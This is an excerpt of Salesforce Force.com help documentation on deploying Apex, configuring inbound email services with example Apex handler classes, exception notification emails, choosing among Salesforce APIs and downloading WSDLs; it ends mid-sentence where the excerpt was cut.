Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed


To use the Apex Deployment Tool:

Author Apex

Use the following tools to develop and deploy Apex.

Force.com IDE
You can download the Force.com IDE to help you write Apex in projects that mirror your organization. Using this tool, you
can also compile and test the code you write, synchronize changes between the organization and project, and deploy your code
to another organization.

Force.com Migration Tool


Download the Force.com Migration Tool if you want to use a script for deploying Apex from a Developer Edition or sandbox
organization to a Database.com production organization using Apache's Ant build tool.
To download the Force.com Migration Tool:
1. Click Your Name > Setup > Develop > Tools.
2. Click Force.com Migration Tool.
3. Save the salesforce_ant.zip file and unzip its contents to the location of your choice.
The salesforce_ant.zip file contains the files you need to run an ant task that exercises the compileAndTest API call,
including:

A Readme.html file that explains how to use the tools


A Jar file containing the ant task: ant-salesforce.jar
A sample folder containing:
A codepkg\classes folder that contains SampleDeployClass.cls and SampleFailingTestClass.cls
A codepkg\triggers folder that contains SampleAccountTrigger.trigger
A mypkg\objects folder that contains the custom objects used in the examples
A removecodepkg folder that contains XML files for removing the examples from your organization
A sample build.properties file that you must edit, specifying your credentials, in order to run the sample ant tasks
in build.xml
A sample build.xml file, that exercises the deploy and retrieve API calls

For more information on the syntax and use of Apex, see the Force.com Apex Code Developer's Guide.

2055

Develop

Using Tools for Developing and Deploying Apex

Note: The Force.com IDE and Force.com Migration Tool are free resources provided by salesforce.com to support
its users and partners, but are not considered part of our Services for purposes of the salesforce.com Master Subscription
Agreement.

See Also:
Apex Code Overview
Deploying Apex Using Change Sets
Deploying Apex Using SOAP API
Developer's Guide: Force.com Apex Code Developer's Guide

Deploying Apex Using Change Sets


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed


To use the Apex Deployment Tool:

Author Apex

You can deploy Apex classes and triggers between connected organizations, for example, from a sandbox organization to your
production organization. You can create an outbound change set in the Salesforce user interface and add the Apex components
that you would like to upload and deploy to the target organization. To learn more about change sets, see Change Sets Overview.

Deploying Apex Using SOAP API


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed


To use the Apex Deployment Tool:

Author Apex

You can use the following SOAP API to deploy your Apex to a development or sandbox organization.

compileAndTest()
compileClasses()
compileTriggers()

All these calls take Apex code that contains the class or trigger, as well as the values for any fields that need to be set.
To learn more about these SOAP API calls, see the SOAP API and SOAP Headers for Apex appendix in the Force.com Apex
Code Developer's Guide.

2056

Develop

What are Email Services?

What are Email Services?


Available in: Enterprise, Unlimited and Developer Editions
Use of email services in installed AppExchange packages also available in: Group and Professional Editions

User Permissions Needed


To configure Apex email services and email service addresses: Modify All Data
To create Apex classes:

Author Apex

Email services are automated processes that use Apex classes to process the contents, headers, and attachments of inbound
email. For example, you can create an email service that automatically creates contact records based on contact information
in messages.
You can associate each email service with one or more Salesforce-generated email addresses to which users can send messages
for processing. To give multiple users access to a single email service, you can:

Associate multiple Salesforce-generated email addresses with the email service and allocate those addresses to users.
Associate a single Salesforce-generated email address with the email service, and write an Apex class that executes according
to the user accessing the email service. For example, you can write an Apex class that identifies the user based on the user's
email address and creates records on behalf of that user.

To use email services, click Your Name > Setup > Develop > Email Services.

Click New Email Service to define a new email service.


Select an existing email service to view its configuration, activate or deactivate it, and view or specify addresses for that
email service.
Click Edit to make changes to an existing email service.
Click Delete to delete an email service.
Note: Before deleting email services, you must delete all associated email service addresses.

When defining email services, note the following:

An email service only processes messages it receives at one of its addresses.


Salesforce limits the total number of messages that all email services combined, including On-Demand Email-to-Case,
can process daily. Messages that exceed this limit are bounced, discarded, or queued for processing the next day, depending
on how you configure the failure response settings for each email service. Salesforce calculates the limit by multiplying the
number of user licenses by 1,000, up to a daily maximum of 1,000,000. For example, if you have ten licenses, your
organization can process up to 10,000 email messages a day.
Email service addresses that you create in your sandbox cannot be copied to your production organization.
For each email service, you can tell Salesforce to send error email messages to a specified address instead of the sender's
email address.

2057

Develop

Defining Email Services

Email services rejects email messages and notifies the sender if the email (combined body text, body HTML and attachments)
exceeds approximately 10 MB (varies depending on language and character set).

See Also:
Apex Code Overview
Using the InboundEmail Object
Defining Email Services
Defining Email Service Addresses
Developer's Guide: Force.com Apex Code Developer's Guide

Defining Email Services


Available in: Enterprise, Unlimited and Developer Editions
Use of email services in installed AppExchange packages also available in: Group and Professional Editions

User Permissions Needed


To configure Apex email services and email service addresses: Modify All Data
To create Apex classes:

Author Apex

To define an email service:


1.
2.
3.
4.

Click Your Name > Setup > Develop > Email Services.
Click New Email Service, or click Edit to change an existing email service.
Specify the name of the email service.
Choose the Apex class you want this email service to use to process messages. The Apex class you choose must implement
the Messaging.InboundEmailHandler interface. For example:
global class myHandler implements Messaging.InboundEmailHandler {
global Messaging.InboundEmailResult handleInboundEmail(Messaging.InboundEmail
email, Messaging.InboundEnvelope envelope) {
Messaging.InboundEmailResult result = new Messaging.InboundEmailresult();
return result;
}
}

For information on the InboundEmail object, see Using the InboundEmail Object on page 2062.
5. Choose the types of attachments you want the email service to accept. The options are:
None
The email service accepts the message but discards any attachment.
Text Attachments Only
The email service only accepts the following types of attachments:

2058

Develop

Defining Email Services

Attachments with a Multipurpose Internet Mail Extension (MIME) type of text.


Attachments with a MIME type of application/octet-stream and a file name that ends with either a
.vcf or .vcs extension. These are saved as text/x-vcard and text/calendar MIME types, respectively.

Messages with attachments other than these types are accepted, but the attachments are discarded.
Binary Attachments Only
The email service only accepts binary attachments, such as image, audio, application, and video files. Binary attachments
have a limit of 5 MB per attachment.
Messages with attachments that are not binary are accepted, but the attachments are discarded.
All
The email service accepts any type of attachment.
Note: An email service can only process attachments if you configure the email service to accept attachments and
use an Apex class that processes the types of attachments the email service accepts.
Also, note that email services cannot accept inline attachments, such as graphics inserted in email messages.
6. Optionally, select the Advanced Email Security Settings checkbox to configure the email service to verify the
legitimacy of the sending server before processing a message. The email service uses the following authentication protocols
to verify the sender's legitimacy:

SPF
SenderId
DomainKeys

If the sending server passes at least one of these protocols and does not fail any, the email service accepts the email. If the
server fails a protocol or does not support any of the protocols, the email service performs the action specified in the
Unauthenticated Sender Action failure response setting.
Tip: Before selecting the Authenticate Senders checkbox, ensure that the senders that you expect to use the
email service support at least one of the authentication protocols listed above. For information on these authentication
protocols, see the following websites:

www.openspf.org
www.microsoft.com/mscorp/safety/technologies/senderid/default.mspx

7. Email services rejects email messages and notifies the sender if the email (combined body text, body HTML and attachments)
exceeds approximately 10 MB (varies depending on language and character set).
8. You can convert text attachments to binary attachments.
9. Optionally, configure this email service only to accept messages from certain senders by listing their email addresses and
domains in the Accept Email From text box. Separate multiple entries with commas. For example:
george@mycompany.com, yahoo.com, gmail.com. If the Accept Email From text box has a value and the email service
receives a message from an unlisted email address or domain, the email service performs the action specified in the
Unauthorized Sender Action failure response setting.
Leave this field blank if you want the email service to receive email from any email address.

2059

Develop

Defining Email Services

Note: You can also authorize email addresses and domains at the email service address-level. See Defining Email
Service Addresses on page 2061.
If both the email service and email service address are configured to only accept messages from certain senders, the
email service only processes messages from senders that are listed in the Accept Email From text boxes on both
the email service and the email service address.
10. Select the Active checkbox if you want the email service to be activated when you click Save.
11. Configure the failure response settings, which determine how the email service responds if an attempt to access this email
service fails for the following reasons:
Over Email Rate Limit Action

Determines what the email service does with messages if the total number of messages processed by all email services
combined has reached the daily limit for your organization. Salesforce calculates the limit by multiplying the number
of user licenses by 1,000, up to a daily maximum of 1,000,000. For example, if you have ten licenses, your organization
can process up to 10,000 email messages a day.
Deactivated Email Address Action

Determines what the email service does with messages received at an email address that is inactive.
Deactivated Email Service Action

Determines what the email service does with messages it receives when the email service itself is inactive.
Unauthenticated Sender Action

Determines what the email service does with messages that fail or do not support any of the authentication protocols
if the Authenticate Senders checkbox is selected.
Unauthorized Sender Action

Determines what the email service does with messages received from senders who are not listed in the Accept From
Email text box on either the email service or email service address.
The failure response options are:
Bounce Message
The email service returns the message to the sender or to the Automated Case User for On-Demand
Email-to-Case, with a notification that explains why the message was rejected.
Discard Message
The email service deletes the message without notifying the sender.
Requeue Message (Over Email Rate Limit Action Only)
The email service queues the message for processing in the next 24 hours. If the message is not processed within 24
hours, the email service returns the message to the sender with a notification that explains why the message was
rejected.
12. To send error email messages to a specified address instead of the sender's email address, select Enable Error Routing
and specify the destination email address in Route Error Emails to This Email Address. This prevents the
sender being notified when email services cannot process an incoming email.

2060

Develop

Defining Email Service Addresses

13. Click Save to save your changes, or Save and New Email Address to create email addresses for this email service, as
described in Defining Email Service Addresses on page 2061.

See Also:
Apex Code Overview
Using the InboundEmail Object
What are Email Services?
Defining Email Service Addresses
Enabling and Configuring On-Demand Email-to-Case
Developer's Guide: Force.com Apex Code Developer's Guide

Defining Email Service Addresses


Available in: Enterprise, Unlimited and Developer Editions
Use of email services in installed AppExchange packages also available in: Group and Professional Editions

User Permissions Needed


To configure Apex email services and email service addresses: Modify All Data
To create Apex classes:

Author Apex

1. Click Your Name > Setup > Develop > Email Services.
2. Choose the email service for which you want to define an address.
3. Click New Email Address, or click Edit to change the configuration for an existing email service address. To delete an
email service address, click View and Delete.
4. In the Email Address field, enter the local-part of the email service address. Salesforce generates a unique domain-part
for each email service address to ensure that no two email service addresses are identical. The generated domain-part
appears to the right of the Email Address field.
Tip: For the local-part of a Salesforce email address, all alphanumeric characters are valid, plus the following
special characters: !#$%&'*/=?^_+-`{|}~. For the domain-part of a Salesforce email address, only alphanumeric
characters are valid, as well as hyphen (-). The dot character (.) is also valid in both the local-part and domain-part
as long as it is not the first or last character.
Salesforce email addresses are case-insensitive.
5. Select the Active checkbox if you want the email service address to be activated when you click Save.
6. Choose the Context User. The email service assumes the permissions of the context user when processing the messages
this address receives. For example, if the email service is configured to modify contact records upon receiving updated
contact information, the email service only modifies a record if the context user has permission to edit the record.
Important: Choose a context user that has permission to execute the Apex class that the email service is configured
to use.

2061

Develop

Using the InboundEmail Object

7. Optionally, configure this email service address to only accept messages from certain senders by listing their email addresses
and domains in the Accept Email From text box. Separate multiple entries with commas. For example:
george@mycompany.com, yahoo.com, gmail.com. If the Accept Email From text box has a value and the email service
receives a message from an unlisted email address or domain, the email service performs the action specified in the
Unauthorized Sender Action failure response setting.
Leave this field blank if you want the email service to receive email from any email address.
Note:
If both the email service and email service address are configured to only accept messages from certain senders, the
email service only processes messages from senders that are listed in the Accept Email From text boxes on both
the email service and the email service address.
8. Click Save to save your changes, or Save and New to define another inbound email address for this email service.

See Also:
Apex Code Overview
Using the InboundEmail Object
What are Email Services?
Defining Email Services
Developer's Guide: Force.com Apex Code Developer's Guide

Using the InboundEmail Object


Available in: Enterprise, Unlimited and Developer Editions

For every email the Apex email service domain receives, Salesforce creates a separate InboundEmail object that contains the
contents and attachments of that email. You can use Apex classes that implement the Messaging.InboundEmailHandler
interface to handle an inbound email message. Using the handleInboundEmail method in that class, you can access an
InboundEmail object to retrieve the contents, headers, and attachments of inbound email messages, as well as perform many
functions.
Note: For information on the Apex email service, see What are Email Services? on page 2057.

Example 1: Create Tasks for Contacts


The following is an example of how you can look up a contact based on the inbound email address and create a new task.
global class CreateTaskEmailExample implements Messaging.InboundEmailHandler {
global Messaging.InboundEmailResult handleInboundEmail(Messaging.inboundEmail email,
Messaging.InboundEnvelope env){
// Create an InboundEmailResult object for returning the result of the
// Apex Email Service
Messaging.InboundEmailResult result = new Messaging.InboundEmailResult();

2062

Develop

Using the InboundEmail Object

String myPlainText= '';


// Add the email plain text into the local variable
myPlainText = email.plainTextBody;
// New Task object to be created
Task[] newTask = new Task[0];
// Try to look up any contacts based on the email from address
// If there is more than one contact with the same email address,
// an exception will be thrown and the catch statement will be called.
try {
Contact vCon = [SELECT Id, Name, Email
FROM Contact
WHERE Email = :email.fromAddress
LIMIT 1];
// Add a new Task to the contact record we just found above.
newTask.add(new Task(Description = myPlainText,
Priority = 'Normal',
Status = 'Inbound Email',
Subject = email.subject,
IsReminderSet = true,
ReminderDateTime = System.now()+1,
WhoId = vCon.Id));
// Insert the new Task
insert newTask;
System.debug('New Task Object: ' + newTask );
}
// If an exception occurs when the query accesses
// the contact record, a QueryException is called.
// The exception is written to the Apex debug log.
catch (QueryException e) {
System.debug('Query Issue: ' + e);
}
// Set the result to true. No need to send an email back to the user
// with an error message
result.success = true;
// Return the result for the Apex Email Service
return result;
}
}

Example 2: Handle Unsubscribe Email


Companies that send marketing email to their customers and prospects need to provide a way to let the recipients unsubscribe.
The following is an example of how an email service can process unsubscribe requests. The code searches the subject line of
inbound email for the word unsubscribe. If the word is found, the code finds all contacts and leads that match the From
email address and sets the Email Opt Out field (HasOptedOutOfEmail) to True.
Global class unsubscribe implements Messaging.inboundEmailHandler{
Global Messaging.InboundEmailResult handleInboundEmail(Messaging.InboundEmail email,
Messaging.InboundEnvelope env ) {
// Create an inboundEmailResult object for returning
// the result of the email service.
Messaging.InboundEmailResult result = new Messaging.InboundEmailResult();
// Create contact and lead lists to hold all the updated records.

2063

Develop

Using the InboundEmail Object

List<Contact> lc = new List <contact>();


List<Lead> ll = new List <lead>();
// Convert the subject line to lower case so the program can match on lower case.
String mySubject = email.subject.toLowerCase();
// The search string used in the subject line.
String s = 'unsubscribe';
// Check the variable to see if the word "unsubscribe" was found in the subject
line.
Boolean unsubMe;
// Look for the word "unsubcribe" in the subject line.
// If it is found, return true; otherwise, return false.
unsubMe = mySubject.contains(s);
// If unsubscribe is found in the subject line, enter the IF statement.
if (unsubMe == true) {
try {
// Look up all contacts with a matching email address.
for (Contact c : [SELECT Id, Name, Email, HasOptedOutOfEmail
FROM Contact
WHERE Email = :env.fromAddress
AND hasOptedOutOfEmail = false
LIMIT 100]) {
// Add all the matching contacts into the list.
c.hasOptedOutOfEmail = true;
lc.add(c);
}
// Update all of the contact records.
update lc;
}
catch (System.QueryException e) {
System.debug('Contact Query Issue: ' + e);
}
try {
// Look up all leads matching the email address.
for (Lead l : [SELECT Id, Name, Email, HasOptedOutOfEmail
FROM Lead
WHERE Email = :env.fromAddress
AND isConverted = false
AND hasOptedOutOfEmail = false
LIMIT 100]) {
// Add all the leads to the list.
l.hasOptedOutOfEmail = true;
ll.add(l);
System.debug('Lead Object: ' + l);
}
// Update all lead records in the query.
update ll;
}
catch (System.QueryException e) {
System.debug('Lead Query Issue: ' + e);
}
System.debug('Found the unsubscribe word in the subject line.');
}
else {
System.debug('No Unsuscribe word found in the subject line.' );
}

2064

Develop

Using the InboundEmail Object

// Return True and exit.


// True confirms program is complete and no emails
// should be sent to the sender of the unsubscribe request.
result.success = true;
return result;
}
// The following test methods provide adequate code coverage.
// There are two methods, one that does the testing
// with a valid "unsubcribe" in the subject line
// and one the does not contain "unsubscribe" in the
// subject line.
static testMethod void testUnsubscribe() {
// Create a new email and envelope object.
Messaging.InboundEmail email = new Messaging.InboundEmail() ;
Messaging.InboundEnvelope env
= new Messaging.InboundEnvelope();
// Create a new test lead and insert it in the test method.
Lead l = new lead(firstName='John',
lastName='Smith',
Company='Salesforce',
Email='user@acme.com',
HasOptedOutOfEmail=false);
insert l;
// Create a new test contact and insert it in the test method.
Contact c = new Contact(firstName='john',
lastName='smith',
Email='user@acme.com',
HasOptedOutOfEmail=false);
insert c;
// Test with the subject that matches the unsubscribe statement.
email.subject = 'test unsubscribe test';
env.fromAddress = 'user@acme.com';
// Call the class and test it with the data in the testMethod.
unsubscribe unsubscribeObj = new unsubscribe();
unsubscribeObj.handleInboundEmail(email, env );
}
static testMethod void testUnsubscribe2() {
// Create a new email and envelope object.
Messaging.InboundEmail email = new Messaging.InboundEmail();
Messaging.InboundEnvelope env = new Messaging.InboundEnvelope();
// Create a new test lead and insert it in the test method.
Lead l = new lead(firstName='john',
lastName='smith',
Company='Salesforce',
Email='user@acme.com',
HasOptedOutOfEmail=false);
insert l;
// Create a new test contact and insert it in the test method.
Contact c = new Contact(firstName='john',
lastName='smith',
Email='user@acme.com',
HasOptedOutOfEmail=false);
insert c;
// Test with a subject that does not contain "unsubscribe."
email.subject = 'test';
env.fromAddress = 'user@acme.com';

2065

Develop

Using the InboundEmail Object

// Call the class and test it with the data in the test method.
unsubscribe unsubscribeObj = new unsubscribe();
unsubscribeObj.handleInboundEmail(email, env );
}
}

InboundEmail Object
An InboundEmail object has the following fields.
Name

Type

Description

binaryAttachments

InboundEmail.BinaryAttachment[] A list of binary attachments received with the email,


if any.
Examples of binary attachments include image, audio,
application, and video files.

ccAddresses

String[]

A list of carbon copy (CC) addresses, if any.

fromAddress

String

The email address that appears in the From field.

fromName

String

The name that appears in the From field, if any.

headers

InboundEmail.Header[]

A list of the RFC 2822 headers in the email, including:


Recieved from
Custom headers
Message-ID
Date

htmlBody

String

The HTML version of the email, if specified by the


sender.

htmlBodyIsTruncated

Boolean

Indicates whether the HTML body text is truncated


(true) or not (false.)

inReplyTo

String

The In-Reply-To field of the incoming email.


Identifies the email or emails to which this one is a
reply (parent emails). Contains the parent email or
emails' message-IDs.

messageId

String

The Message-IDthe incoming email's unique


identifier.

plainTextBody

String

The plain text version of the email, if specified by the


sender.

plainTextBodyIsTruncated Boolean
references

String []

Indicates whether the plain body text is truncated


(true) or not (false.)
The References field of the incoming email. Identifies
an email thread. Contains a list of the parent emails'
References and message IDs, and possibly the
In-Reply-To fields.

2066

Develop

Using the InboundEmail Object

Name

Type

Description

replyTo

String

The email address that appears in the reply-to header.


If there is no reply-to header, this field is identical to
the fromAddress field.

subject

String

The subject line of the email, if any.

textAttachments

InboundEmail.TextAttachment[]

A list of text attachments received with the email, if


any.
The text attachments can be any of the following:

toAddresses

String[]

Attachments with a Multipurpose Internet Mail


Extension (MIME) type of text
Attachments with a MIME type of
application/octet-stream and a file name
that ends with either a .vcf or .vcs extension.
These are saved as text/x-vcard and
text/calendar MIME types, respectively.

The email address that appears in the To field.

InboundEmail.Header Object
An InboundEmail object stores RFC 2822 email header information in an InboundEmail.Header object with the following
fields.
Name

Type

Description

name

String

The name of the header parameter, such as Date or Message-ID.

value

String

The value of the header.

InboundEmail.BinaryAttachment Object
An InboundEmail object stores binary attachments in an InboundEmail.BinaryAttachment object.
Examples of binary attachments include image, audio, application, and video files.
An InboundEmail.BinaryAttachment object has the following fields.
Name

Type

Description

body

Blob

The body of the attachment.

fileName

String

The name of the attached file.

mimeTypeSubType

String

The primary and sub MIME-type.

InboundEmail.TextAttachment Object
An InboundEmail object stores text attachments in an InboundEmail.TextAttachment object.
The text attachments can be any of the following:

2067

Develop

Using the InboundEmail Object

Attachments with a Multipurpose Internet Mail Extension (MIME) type of text


Attachments with a MIME type of application/octet-stream and a file name that ends with either a .vcf or .vcs
extension. These are saved as text/x-vcard and text/calendar MIME types, respectively.

An InboundEmail.TextAttachment object has the following fields.


Name

Type

Description

body

String

The body of the attachment.

bodyIsTruncated

Boolean

Indicates whether the attachment body text is truncated (true) or not


(false.)

charset

String

The original character set of the body field. The body is re-encoded as UTF-8
as input to the Apex method.

fileName

String

The name of the attached file.

mimeTypeSubType

String

The primary and sub MIME-type.

InboundEmailResult Object
The InboundEmailResult object is used to return the result of the email service. If this object is null, the result is assumed to
be successful. The InboundEmailResult object has the following fields.
Name

Type

Description

success

Boolean

A value that indicates whether the email was successfully processed.


If false, Salesforce rejects the inbound email and sends a reply email to the
original sender containing the message specified in the Message field.

message

String

A message that Salesforce returns in the body of a reply email. This field can
be populated with text irrespective of the value returned by the Success
field.

InboundEnvelope Object
The InboundEnvelope object stores the envelope information associated with the inbound email, and has the following fields.
Name

Type

Description

toAddress

String

The name that appears in the To field of the envelope, if any.

fromAddress

String

The name that appears in the From field of the envelope, if any.

See Also:
Apex Code Overview
What are Email Services?
Developer's Guide: Force.com Apex Code Developer's Guide

2068

Develop

Handling Apex Exceptions in Managed Packages

Handling Apex Exceptions in Managed Packages


Available in: Unlimited, Developer, and Enterprise Editions

User Permissions Needed


To create packages:

Create Force.com AppExchange Packages

To upload packages:

Upload Force.com AppExchange Packages

To create Apex:

Author Apex

When you create a managed package for Force.com AppExchange, you can specify a user to receive an email notification when
an exception occurs that is not caught by Apex. Uncaught exceptions can be thrown from:

A Visualforce action or getter method


A Web service method
A trigger

The email that is sent has the following format:


-------------------------------------------------------------------------------Subject: Developer script exception from CLASSNAME Apex script unhandled trigger
exception by user/organization: USER_ID/ORG_ID EXCEPTION_STRING STACK_TRACE
-------------------------------------------------------------------------------For example:
-------------------------------------------------------------------------------From: Apex Application? <info@salesforce.com> To: joeuser@salesforce.com
<joeuser@salesforce.com> Subject: Developer script exception from Gack WS? Date:
Mon, 26 Nov 2007 14:42:41 +0000 (GMT) (06:42 PST) Apex script unhandled trigger
exception by user/organization: 010x0000000rfPg/00Fx00000009ejj TestException.Test
Exception?: Gack WS exception Class.Gack WS?.gackTestException: line 4, column 11
-------------------------------------------------------------------------------The number of emails generated for the same error is limited to 10 messages with the same subject in a 60 second period.

See Also:
Apex Code Overview
Preparing Your Apps for Distribution
About Apex Unit Tests
Developer's Guide: Force.com Apex Code Developer's Guide

2069

Develop

Which API Should I Use?

Which API Should I Use?


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To use the APIs

API Enabled

Salesforce provides programmatic access to your organizations information using simple, powerful, and secure application
programming interfaces.
API Name

What Its For

When to Use It

Protocol

REST API

Accessing objects in your You want to leverage the REST


organization using
REST architecture to
REST. Read more.
integrate with your
organization. No WSDL
requirement.

Data Format

Communication

JSON, XML

Synchronous

Well-suited for
browser-based
applications, mobile
apps, and
highly-interactive social
applications.
SOAP API

Integrating your
organizations data with
other applications using
SOAP. Read more.

You have pre-existing


SOAP/WSDL XML
middleware services that
need to work with
WSDLs and XML data.

Synchronous

Chatter API

Accessing Chatter feeds


and social data such as
users, groups, followers,
and files using REST.
Read more.

You want to integrate


REST
Chatter into a variety of
applications, such as
mobile apps, intranet
sites, and third-party
Web applications.

JSON, XML

Synchronous
(photos are
processed
asynchronously)

Bulk API

Loading or deleting
You have over a million REST
large numbers of records. records to process and
Read more.
speed is a requirement.

CSV, XML

Asynchronous

Metadata API

Managing
customizations in your
organization and
building tools that can
manage the metadata

You want to migrate


SOAP/WSDL XML
changes, such as custom
object definitions and
page layouts, from a
sandbox to your
production environment.

Asynchronous

2070

Develop

Which API Should I Use?

API Name

What Its For

When to Use It

Protocol

Data Format

Communication

model, not the data


itself. Read more.
Streaming API

Providing a stream of
data reflecting data
changes in your
organization. Read
more.

You need near real-time Bayeux


notifications of when
records are created or
updated.

JSON

Asynchronous
(stream of data)

Apex REST API

Building your own


REST API in Apex.
Exposes Apex classes as
RESTful Web services.
Read more.

You need to build


REST
custom JSON responses
or you want to expose
custom functionality that
you implemented in
Apex.

JSON, XML,
Custom

Synchronous

Apex SOAP API

Creating custom SOAP


Web services in Apex.
Exposes Apex classes as
SOAP Web services.
Read more.

You need to build


SOAP/WSDL XML
custom XML responses
or you want to expose
custom functionality that
you implemented in
Apex .

Synchronous

When to Use REST API


REST API provides a powerful, convenient, and simple REST-based Web services interface for interacting with Salesforce.
Its advantages include ease of integration and development, and its an excellent choice of technology for use with mobile
applications and Web projects. However, if you have a large number of records to process, you may wish to use Bulk API,
which is based on REST principles and optimized for large sets of data.

When to Use SOAP API


SOAP API provides a powerful, convenient, and simple SOAP-based Web services interface for interacting with Salesforce.You
can use SOAP API to create, retrieve, update, or delete records. You can also use SOAP API to perform searches and much
more. Use SOAP API in any language that supports Web services.
For example, you can use SOAP API to integrate Salesforce with your organizations ERP and finance systems, deliver
real-time sales and support information to company portals, and populate critical business systems with customer information.

When to Use Chatter API


Chatter API is a REST API that provides programmatic access to Chatter feeds and social data such as users, groups, followers,
and files. It's used by developers who want to integrate Chatter into a variety of applications such as mobile applications,
intranet sites, and third-party Web applications. Chatter API is similar to APIs offered by other companies with feeds, such
as Facebook and Twitter. Its advantages include ease of integration and development.
Note: Chatter API is available for all editions except Personal Edition. In addition, Chatter must be enabled for the
organization.

2071

Develop

Which API Should I Use?

When to Use Bulk API


Bulk API is based on REST principles and is optimized for loading or deleting large sets of data. You can use it to query,
insert, update, upsert, or delete a large number of records asynchronously by submitting batches which are processed in the
background by Salesforce.
SOAP API, in contrast, is optimized for real-time client applications that update small numbers of records at a time. Although
SOAP API can also be used for processing large numbers of records, when the data sets contain hundreds of thousands of
records, it becomes less practical. Bulk API is designed to make it simple to process data from a few thousand to millions of
records.
The easiest way to use Bulk API is to enable it for processing records in Data Loader using CSV files. This avoids the need
to write your own client application.

When to Use Metadata API


Use Metadata API to retrieve, deploy, create, update, or delete customizations for your organization. The most common use
is to migrate changes from a sandbox or testing organization to your production environment. Metadata API is intended for
managing customizations and for building tools that can manage the metadata model, not the data itself.
The easiest way to access the functionality in Metadata API is to use the Force.com IDE or Force.com Migration Tool. These
tools are built on top of Metadata API and use the standard Eclipse and Ant tools respectively to simplify the task of working
with Metadata API. Built on the Eclipse platform, the Force.com IDE provides a comfortable environment for programmers
familiar with integrated development environments, allowing you to code, compile, test, and deploy all from within the IDE
itself. The Force.com Migration Tool is ideal if you want to use a script or a command-line utility for moving metadata between
a local directory and a Salesforce organization.

When to Use Streaming API


Use Streaming API to receive notifications for changes to data that match a SOQL query that you define.
Streaming API is useful when you want notifications to be pushed from the server to the client. Consider Streaming API for
applications that poll frequently. Applications that have constant polling action against the Salesforce infrastructure, consuming
unnecessary API call and processing time, would benefit from this API which reduces the number of requests that return no
data. Streaming API is also ideal for applications that require general notification of data changes. This enables you to reduce
the number of API calls and improve performance.

When to use Apex REST API


Use Apex REST API when you want to expose your Apex classes and methods so that external applications can access your
code through REST architecture. Apex REST API supports both OAuth 2.0 and Session ID for authorization.

When to use Apex SOAP API


Use Apex SOAP API when you want to expose your Apex methods as SOAP Web service APIs so that external applications
can access your code through SOAP. Apex SOAP API supports both OAuth 2.0 and Session ID for authorization.

See Also:
Downloading Salesforce WSDLs and Client Authentication Certificates
Web Services API Developer's Guide
Metadata API Developer's Guide
Bulk API Developer's Guide

2072

Develop

Downloading Salesforce WSDLs and Client Authentication Certificates

Downloading Salesforce WSDLs and Client Authentication


Certificates
Available in: Professional, Enterprise, Developer, and Database.com Editions

User Permissions Needed


To download a WSDL:

Customize Application

You can download a Web Services Description Language (WSDL) document to integrate your applications with Salesforce
using the API.
The following WSDLs are available:

Enterprise WSDL - Use this WSDL document to build an integration for a single organization.The enterprise WSDL
is strongly typed, which means that it contains objects and fields with specific data types, such as int and string.
Customers who use the enterprise WSDL document must download and re-consume it whenever their organization makes
a change to its custom objects or fields or whenever they want to use a different version of the API.
Partner WSDL - Use this WSDL to build an integration that can work across multiple Salesforce organizations, regardless
of their custom objects or fields. Typically partners and ISVs use this WSDL. It is loosely typed, which means that you
work with name-value pairs of field names and values instead of specific data types. The partner WSDL document only
needs to be downloaded and consumed once per version of the API.
Apex WSDL - Use this WSDL to run or compile Apex in another environment. See the Force.com Apex Code Developer's
Guide for details.
Metadata WSDL - Use this WSDL to to migrate configuration changes between organizations or work with the
customizations in your organization as XML metadata files. See the Force.com Metadata API Developer's Guide for details.

To download a WSDL document:


1. Click Your Name > Setup > Develop > API.
2. Download the appropriate WSDL:

If you are downloading an enterprise WSDL and you have managed packages installed in your organization, click
Generate Enterprise WSDL. Salesforce prompts you to select the version of each installed package to include in the
generated WSDL.
Otherwise, right-click the link for the appropriate WSDL document to save it to a local directory. In the right-click
menu, Internet Explorer users can choose Save Target As, while Mozilla Firefox users can choose Save Link As.

3. On your computer, import the local copy of the WSDL document into your development environment.
Note: You can also select the default package versions without downloading a WSDL in the Package Version Settings
section.
Optionally, you can download a certificate to authenticate salesforce.com organizations. Use this certificate for workflow
outbound messaging. This certificate is meant to identify that the request is coming from salesforce.com, not a specific user.
If you want to use certificates to ensure secure connections using other Salesforce features, such as Apex callouts, use Salesforce
certificates and key pairs.

2073

Develop

Downloading Salesforce WSDLs and Client Authentication Certificates

Click Your Name > Setup > Develop > API, and on the WSDL Download page, right-click Download Client Certificate
and save it to an appropriate location. You can then import the downloaded certificate into your application server, and
configure your application server to request the client certificate.

See Also:
Which API Should I Use?
Defining Custom S-Controls
Force.com API Usage Limits
Managing Packages
Configuring Default Package Versions for API Calls
Documentation Resources for Force.com Developers

Generating an Enterprise WSDL with Managed Packages


Available in: Enterprise, Unlimited, and Developer, Editions

User Permissions Needed


To download a WSDL:

Customize Application

If you are downloading an enterprise WSDL and you have managed packages installed in your organization, you need to take
an extra step to select the version of each installed package to include in the generated WSDL. The enterprise WSDL is
strongly typed, which means that it contains objects and fields with specific data types, such as int and string.
A package version is a number that identifies the set of components uploaded in a package. The version number has the format
majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen value
during every major release. The patchNumber is generated and updated only for a patch release. Publishers can use package
versions to evolve the components in their managed packages gracefully by releasing subsequent package versions without
breaking existing customer integrations using the package. A subscriber can select a package version for each installed managed
package to allow their API client to continue to function with specific, known behavior even when they install subsequent
versions of a package. Each package version can have variations in the composition of its objects and fields, so you must select
a specific version when you generate the strongly typed WSDL.
To download an enterprise WSDL when you have managed packages installed:
1. Click Your Name > Setup > Develop > API.
2. Click Generate Enterprise WSDL.
3. Select the Package Version for each of your installed managed packages. If you are unsure which package version to
select, you should leave the default, which is the latest package version.
4. Click Generate.
5. Use the File menu in your browser to save the WSDL to your computer.
6. On your computer, import the local copy of the WSDL document into your development environment.
Note the following in your generated enterprise WSDL:

Each of your managed package version selections is included in a comment at the top of the WSDL.

2074

Develop

Configuring Default Package Versions for API Calls

The generated WSDL contains the objects and fields in your organization, including those available in the selected versions
of each installed package. If a field or object is added in a later package version, you must generate the enterprise WSDL
with that package version to work with the object or field in your API integration.
The SOAP endpoint at the end of the WSDL contains a URL with a format of
serverName/services/Soap/c/api_version/ID where api_version is the version of the API, such as 25.0, and
ID encodes your package version selections when you communicate with Salesforce.

You can also select the default package versions for the enterprise WSDL without downloading a WSDL in the Package
